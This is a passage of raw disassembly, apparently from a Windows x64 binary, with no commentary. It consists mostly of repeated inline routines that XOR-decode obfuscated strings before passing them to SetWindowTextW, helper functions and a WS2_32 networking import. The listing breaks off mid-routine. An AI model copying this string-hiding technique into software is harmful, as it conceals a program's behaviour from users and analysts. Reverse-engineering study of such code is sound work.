movups xmmword [rbp - 0x40], xmm0
movzx eax, word [0x14008b200]
mov ecx, 0x4d
mov word [rbp - 0x40], cx
xor word [rbp - 0x3e], 0x33
xor word [rbp - 0x3c], 0x34
xor word [rbp - 0x3a], 0x35
xor word [rbp - 0x38], 0x36
xor word [rbp - 0x36], 0x37
xor word [rbp - 0x34], 0x38
xor word [rbp - 0x32], 0x39
xor ax, 0x3a
mov word [rbp - 0x30], ax
lea rdx, [rbp - 0x40]
jmp 0x14002544d
movups xmm2, xmmword [0x140089d88]
movups xmmword [rbp + 0x260], xmm2
movsd xmm0, qword [0x140089d98]
movsd qword [rbp + 0x270], xmm0
movzx eax, word [0x140089da0]
mov word [rbp + 0x278], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140024ae8
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x260], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x264]
xorps xmm2, xmm1
movd dword [rbp + 0x264], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x268]
xorps xmm2, xmm1
movd dword [rbp + 0x268], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x26c]
xorps xmm2, xmm1
movd dword [rbp + 0x26c], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x270]
xorps xmm2, xmm1
movd dword [rbp + 0x270], xmm2
movdqa xmm3, xmmword [0x14008c390]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x274]
xorps xmm2, xmm1
movd dword [rbp + 0x274], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x260]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140024b00
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x1100]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x1100]
mov rcx, rdi
call fcn.1400054b0
nop
lea rcx, [rbp + 0x1100]
call fcn.140043300
movups xmm4, xmmword [str.pVUXxp]
movups xmmword [rbp + 0x548], xmm4
movups xmm0, xmmword [0x14008b360]
movups xmmword [rbp + 0x558], xmm0
movq xmm5, qword [0x14008b370]
movq qword [rbp + 0x568], xmm5
movzx eax, word [0x14008b378]
mov word [rbp + 0x570], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140024de5
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x548], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x550]
xorps xmm3, xmm0
movq qword [rbp + 0x550], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x558]
xorps xmm3, xmm0
movq qword [rbp + 0x558], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x560]
xorps xmm3, xmm0
movq qword [rbp + 0x560], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm15
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x568], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x548]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x140024e00
lea rdx, [rbp + 0x548]
jmp 0x14002544d
movups xmm2, xmmword [0x14008c290]
movups xmmword [rbp + 0x158], xmm2
movsd xmm0, qword [0x14008c2a0]
movsd qword [rbp + 0x168], xmm0
movzx eax, word [0x14008c2a8]
mov word [rbp + 0x170], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140025123
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x158], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x15c]
xorps xmm2, xmm1
movd dword [rbp + 0x15c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x160]
xorps xmm2, xmm1
movd dword [rbp + 0x160], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x164]
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x168]
xorps xmm2, xmm1
movd dword [rbp + 0x168], xmm2
movdqa xmm3, xmmword [0x14008c390]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x16c]
xorps xmm2, xmm1
movd dword [rbp + 0x16c], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x158]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140025130
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], rbx
mov qword [rbp + 0x388], rbx
lea rax, [rbp + 0x158]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140025185
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x370]
call fcn.1400053b0
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x370]
mov rcx, rdi
call fcn.1400054b0
nop
mov rdx, qword [rbp + 0x388]
cmp rdx, 0xf
jbe 0x1400251fa
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400251f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf3f
call fcn.1400529f0
movups xmm0, xmmword [0x14008b3b0]
movups xmm4, xmmword [0x14008b3a0]
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x2b0], xmm4
mov byte [rbp + 0x370], 0
mov qword [rbp + 0x388], 0xf
mov qword [rbp + 0x380], rbx
mov r8d, ebx
cmp r12d, 2
jl 0x140025402
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x2b0], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2b8]
xorps xmm3, xmm0
movq qword [rbp + 0x2b8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2c0]
xorps xmm3, xmm0
movq qword [rbp + 0x2c0], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2c8]
xorps xmm3, xmm0
movq qword [rbp + 0x2c8], xmm3
jmp 0x140025446
lea r9, [rbp + 0x2b0]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x140025410
lea rdx, [rbp + 0x2b0]
mov rcx, qword [0x14009b9e0]
call qword [sym.imp.USER32.dll_SetWindowTextW]
movups xmm0, xmmword [0x14008a6c0]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x14008a6d0]
movups xmm0, xmmword [0x14008a6e0]
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x14008a6f0]
movups xmm0, xmmword [0x14008a700]
movzx eax, byte [0x14008a710]
movups xmmword [rbp + 0x50], xmm1
movups xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x70], al
mov r8d, ebx
cmp r12d, 2
jl 0x1400255ba
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x20]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x50
jl 0x1400254c0
cmp r8d, 0x51
jge 0x140025603
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x1400255d0
movzx eax, word [0x14008a548]
mov word [rbp - 0x18], ax
movzx eax, byte [0x14008a54a]
movups xmm2, xmmword [0x14008a538]
mov byte [rbp - 0x16], al
movups xmmword [rbp - 0x28], xmm2
mov r8d, ebx
cmp r12d, 2
jl 0x1400257df
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x28], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x24]
xorps xmm2, xmm1
movd dword [rbp - 0x24], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x20]
xorps xmm2, xmm1
movd dword [rbp - 0x20], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x1c]
xorps xmm2, xmm1
movd dword [rbp - 0x1c], xmm2
mov r8d, r13d
mov eax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400257f0
movups xmm2, xmmword [str.eVQQRV_f]
movups xmmword [rbp + 0xd8], xmm2
movzx eax, word [0x14008b600]
mov word [rbp + 0xe8], ax
movzx eax, byte [0x14008b602]
mov byte [rbp + 0xea], al
mov r8d, ebx
cmp r12d, 2
jl 0x140025a1d
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xd8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe0]
xorps xmm2, xmm1
movd dword [rbp + 0xe0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe4]
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140025a30
movsd xmm0, qword [str.wtzvhizh_]
movsd qword [rbp + 0xb8], xmm0
mov ecx, dword [0x14008ae10]
mov dword [rbp + 0xc0], ecx
movzx eax, byte [0x14008ae14]
mov byte [rbp + 0xc4], al
mov r8d, ebx
mov esi, reloc.WS2_32.dll_inet_ntoa
cmp r12d, 2
jl 0x140025bef
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.wtzvhizh_]
xorps xmm1, xmm0
movd dword [rbp + 0xb8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
